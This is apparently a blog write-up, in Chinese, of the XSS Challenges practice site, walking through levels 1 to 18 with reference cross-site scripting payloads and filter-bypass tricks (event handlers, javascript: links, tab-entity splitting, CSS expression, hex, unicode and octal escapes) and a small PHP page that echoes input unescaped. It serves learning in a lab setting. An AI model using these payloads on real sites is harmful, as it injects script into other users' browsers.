XSS Challenges闯关笔记
前言
做xss做疯了再来一个。
地址:https://xss-quiz.int21h.jp/ ,这个貌似是日本的一个安全研究员yamagata21做的。

做到第九关就跪了,而总共有二十关。一半都还没有,实在是惭愧。第九关考的是utf-7编码绕过实体编码的问题,但是我在最新的chrome和firefox都不能复现。查了好一会资料才发现,utf-7 bom xss是用来bypass ie 7的。
这。。。。
又因为这个挑战后面的关卡,貌似必须得过了前面的关卡才能通关。所以,只好做到这里了,先做个记录,留着以后做吧!
关于这个utf-7 xss实在是没弄明白,还有这个关卡通关问题希望有知道的大佬能够指点指点,谢谢了。
百度了一下,看了一些wp,发现一些大佬们关于utf-7 xss的也是没有复现成功。很好奇他们怎么过的,竟然直接firebug前端弹框解决。
我。。。。(这都没想到,™真的是脑塞了。。。)
Level 1
第一关通常都非常简单,这里也确实是这样。
没有任何过滤,输出点在标签之间,闭合标签,构造新标签搞定。
参考payload:
"</b><svg/onload=alert(document.domain)>

Level 2
输出点在标签属性内,闭合双引号,构造on事件。
参考payload:
" onmouseover=alert(document.domain)>

Level 3
这道题有两个参数,第一个参数是过滤的了,用第二个参数,什么都没过滤。
需要burpsuite抓一下包。
参考payload:
<script>alert(document.domain)</script>

成功弹框

Level 4
这一关有三个参数,一二两个参数都做了过滤,直接看第三个参数。

我的做法是闭合双引号,闭合input标签,构造新标签。
参考payload:
"><svg/onload=alert(document.domain)>%0a
同样需要抓包


Level 5,6
这一关考回头了,和Level 2的payload是一样的,对了,还有Level 6也是一样的payload直接过。
闭合属性,构造on事件。
参考payload:
" onmouseover=alert(document.domain)%0a
全程开着burpsuite,根本没感受到输入框的长度限制。


Level 7
空格分割属性,参考payload:
test onmouseover=alert(document.domain)


Level 8
javascript:伪协议在a标签的使用
参考payload:
javascript:alert(document.domain)

Level 9
这一关是利用utf-7编码的,需要环境是IE 7
我用了ie复现也是不能成功,留下个payload吧。
参考payload:
" onmouseover=alert(document.domain)>
+/v8 +ACI- onmouseover=alert(d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in)+AD4-
直接firebug弹框,过!!2333
Level 10
发现过滤了domain关键字,但是只是替换为空而已。
那么可以双写绕过,参考payload:
" onmouseover=alert(document.ddomainomain)>
Level 11
查看源代码,老是不小心看到提示:
s/script/xscript/ig;
s/on[a-z]+=/onxxx=/ig;
s/style=/stxxx=/ig;
发现过滤了不少东西,
1,script会被替换为xscript
2,on事件会被替换为onxxx
3,style会被替换为stxxx
尝试用tab制表(%09),换行(%0a,%0d,%0a%0d)等符号都不行。
明明之前有过几乎一样的题,都是用%09来过的啊?
比如test.xss.tv的第八关。

得到的是这样子的

而这里在我用几乎一样的思路的时候却过不了,如payload:
"><a href=javascri%09pt:alert(1)>test</a>

得到的却是这样子的

也就是说后面的那一段被截断了。
右键检查发现:

被分割为href和pt:alert(1)两个属性了。
起初我怀疑是get和post两种提交方式造成的。
然后本地搭建对比发现之后,其实是一样的。
后台代码如下:
<html>
<head>
<title>test</title>
</head>
<body>
<?php echo 'Post data: '.@$_POST['p'].'<br>';?>
<?php echo 'Get data: '.@$_GET['g'].'<br>';?>
<!--<a href="<?php echo @$_POST['p'];?>">click post</a> -->
<!-- <a href="<?php echo @$_GET['g'];?>">click get</a> -->
</body>
</html>
post和get的payload一样,一同输出

得到的超链接都是"127.0.0.1/javascri"
右键检查发现都是被划分为了两个属性:

换了个payload:
javascri%09pt:alert(1)
然后输出在href里面,如同text.xss.tv第八关的输出点一样。

结果发现两个都被正确解析为了javascript:alert(1)。
经过对比之后,我得出了这样的结论。
%09也就是tab制表符,使用在单个标签之内,会被浏览器`正确`去除,而在跨标签的时候(也就是闭合前面原有标签,使用在构造者构造的新标签的时候)不会被正确去除。也仅仅是%09,其十进制编码和十六进制编码都不会受影响。
后面测试发现%0a和%0d一样受到影响。
在得出了结论之后,我在想为什么会是这样的呢?浏览器解析修正html语法的时候是怎么样修正的呢?
想了很久也查了一些资料,依旧没办法得出结论,也只能暂时先埋个坑在这里了。希望路过的大佬能够解释一下,谢谢!
那么这道题应该怎么过呢?
参考payload:
"><a href=javascri	pt:alert(document.domain)>test</a> //	 tab制表符html十进制编码
"><a href=javascri
pt:alert(document.domain)>test</a> //
是html5的换行符,:是冒号
成功弹框

Level 12 (https://xss-quiz.int21h.jp/stage_no012.php?sid=ecc5555af7eed1253bcca9131be080488c7ba675)
查看提示:
"s/[\x00-\x20\<\>\"\']//g;
把\x00-\x20的字符与及<,>,",'都替换为空。
想着还有什么能够替换空格呢?用
的话还是会没办法跳处value属性。
看了一下sherlock17 大佬的wp,发现了竟然还有一个符号,学到东西了。但是得在IE下才可以。
`
由于IE的特性,或者说浏览器竞争时代百家争鸣导致的结果,会把`解析为引号。

那么我们的payload可以是
``onmouseover=alert(1)
在IE下成功弹框

Level 13
这一关提示说是style attribute,也就是style的属性问题。
想着闭合双引号试试?结果发现被过滤了,那么就只能是style的payload了。
在wooyun上和owasp上找到了一些payload
如:
xss:expr/*XSS*/ession(alert(document.domain));
但在firefox下无法弹框,后来查了写资料发现。
expression这个语法只存在ie上。
于是用ie测试了一下payload,成功弹框,但是陷入了死循环弹框中。(请谨慎使用)

Level 14
还是考的style的东西,但这次增加了过滤。
s/(url|script|eval|expression)/xxx/ig;
把url,script,eval,expression关键字都替换为了xxx。
解法就是寻找黑名单之外的关键字,但是我们发现其实我们可以直接用上面的那个payload:
xss:expr/*XSS*/ession(alert(document.domain));
Level 15
这一关考的是dom xss
由于在documnet.wirte中,这里是属于js范畴,所以可以用js编码
我们用十六进制编码一下下面的payload
<svg/onload=alert(document.domain)>
\x3csvg\x2fonload=alert(document.domain)\x3e
因为是在js范畴,document.write在输出的时候会JavascriptDecode一下数据,会把数据原有\去除,即php里面的stripslashes
所以我们最终的payload应该是这样的。
\\x3csvg\\x2fonload=alert(document.domain)\\x3e
成功弹框:

Level 16
提示说
"document.write();" and "s/\\x/\\\\x/ig;
把\\x 替换成了\\\\x,但是js编码又不止16进制,还有八进制,unicode编码
用unicode编码
\\u003cimg src=x onerror=alert(document.domain)\\u003e

用八进制编码,同样可以
\\74img src=x onerror=alert(document.domain)\\76

Level 17,Level 18
https://xss-quiz.int21h.jp/stage-No17.php?sid=0c8ab14016a836126b35d4ed081076aa3ded3aff
看了一下别人的wp,这两关都是考的字符集的问题,且复现有浏览器要求需要在IE 6上复现。暂时不做研究,毕竟夜深了,但日后再研究!
总结:
通过这次的xss闯关,总算有点入门的感觉了。xss的世界真的是复杂而又美妙!
XSS Challenges闯关笔记的更多相关文章
- 某xss挑战赛闯关笔记
0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyu ...
- XSS Challenges(1-12关)
XSS Challenges解析: 1. 什么过滤也没有,而且是直接输出.<scrip>alert(document.domain);</script>即可通过 2. 直接输入 ...
- W3CSchool闯关笔记(Bootstrap)
该闯关内容与JS闯关衔接. 每一题的答案均在注释处, 第一关:把所有的HTML内容放在一个包含有container-fluid的class名称的div下(注意,是所有的HTML内容,style标签属于 ...
- W3CSchool实战闯关笔记(JavaScript)
//handsome /** *ugly **/ 第一关注释 // 举例 var myName; // Define myName below this line 第二关声明变量 // Setup v ...
- W3CSchool闯关笔记(JQuery)
<script> $(document).ready(function(){ }); </script> <!-- Only change code above this ...
- The Python Challenge 闯关笔记
The Python Challenge : http://www.pythonchallenge.com/ Level 0: 看提示图片中为2**38,计算值为274877906944. Hint: ...
- W3CSchool闯关笔记(中级脚本算法)
坚持下去,编程是一门艺术,与君共勉!!! function sumAll(arr) { var result = 0; var sn = Math.min(arr[0] , arr[1]); var ...
- W3CSchool闯关笔记(初级脚本算法)
W3C后台校验代码bug很多,有的时候跑不过不一定是自己代码写得有问题,也许是网页后台的bug,可以自己把代码放到本地的html文件中跑一下看看 function reverseString(str) ...
- XSS闯关游戏准备阶段及XSS构造方法
请下载好XSS闯关文件后,解压后放在服务器的对应文件夹即可 在该闯关中,会在网页提示一个payload数值 payload,翻译过来是有效载荷 通常在传输数据时,为了使数据传输更可靠,要把原始数据分批 ...
随机推荐
- Python爬虫(十七)_糗事百科案例
糗事百科实例 爬取糗事百科段子,假设页面的URL是: http://www.qiushibaike.com/8hr/page/1 要求: 使用requests获取页面信息,用XPath/re做数据提取 ...
- mysql本地訪问linuxserver,出现SQLSTATE[HY000] [1130] Host '127.0.0.1' is not allowed to connect to this
解决方式:网上看了说.更改mysql库的user表,加入一条host为%的数据就能够.可是还是不行. 后来,直接登录mysql.给訪问加权限就能够了. 运行 [root@iZ25p77kem7Z ~] ...
- POJ 2367 topological_sort
Genealogical tree Time Limit: 1000MS Memory Limit: 65536K Total Submissions: 2920 Accepted: 1962 Spe ...
- 基于Metronic的Bootstrap开发框架经验总结(17)-- 使用 summernote插件实现HTML文档的编辑和图片插入操作
在很多场合,我们需要在线编辑HTML内容,然后在页面上或者其他终端上(如小程序.APP应用等)显示,编辑HTML内容的插件有很多,本篇介绍基于Bootstrap的 summernote插件实现HTML ...
- 【JavaScript】 JS面向对象的模式与实践 (重点整治原型这个熊孩子 (/= _ =)/~┴┴ )
参考书籍 <JavaScript高级语言程序设计>—— Nicholas C.Zakas <你不知道的JavaScript> —— KYLE SIMPSON 在JS的面向 ...
- centos6.5 yum update 报错Couldn't resolve host 'centos.ustc.edu.cn'
异常信息 [root@localhost ~]# yum -y update Loaded plugins: fastestmirror, refresh-packagekit, security S ...
- DotNetCore跨平台~System.DrawingCore部署Linux需要注意的
回到目录 你在windows上使用图像组件没有任务问题,但部署到linux之后,将注意以下几点: 安装nuget包ZKWeb.System.Drawing 项目里还是引用System.DrawingC ...
- 【java】TreeSet、Comparable、Comparator、内部类、匿名类
package com.tn.treeSet; public class Student { private String name; private int age; public Student( ...
- 云计算之路-阿里云上-2017年最错误的选择: 生产环境使用 docker swarm
2017年12月29日 10:18 ~ 11:00 左右,由于整个 docker swarm 集群宕机,造成我们迁移至 .net core 跑在 docker swram 上的所有站点无法正常访问,由 ...
- iOS 实现后台 播放音乐声音 AVAudioPlayer 以及铃声设置(循环播放震动)
1.步骤一:在Info.plist中,添加"Required background modes"键,value为:App plays audio 或者: 步骤二: - (BOOL) ...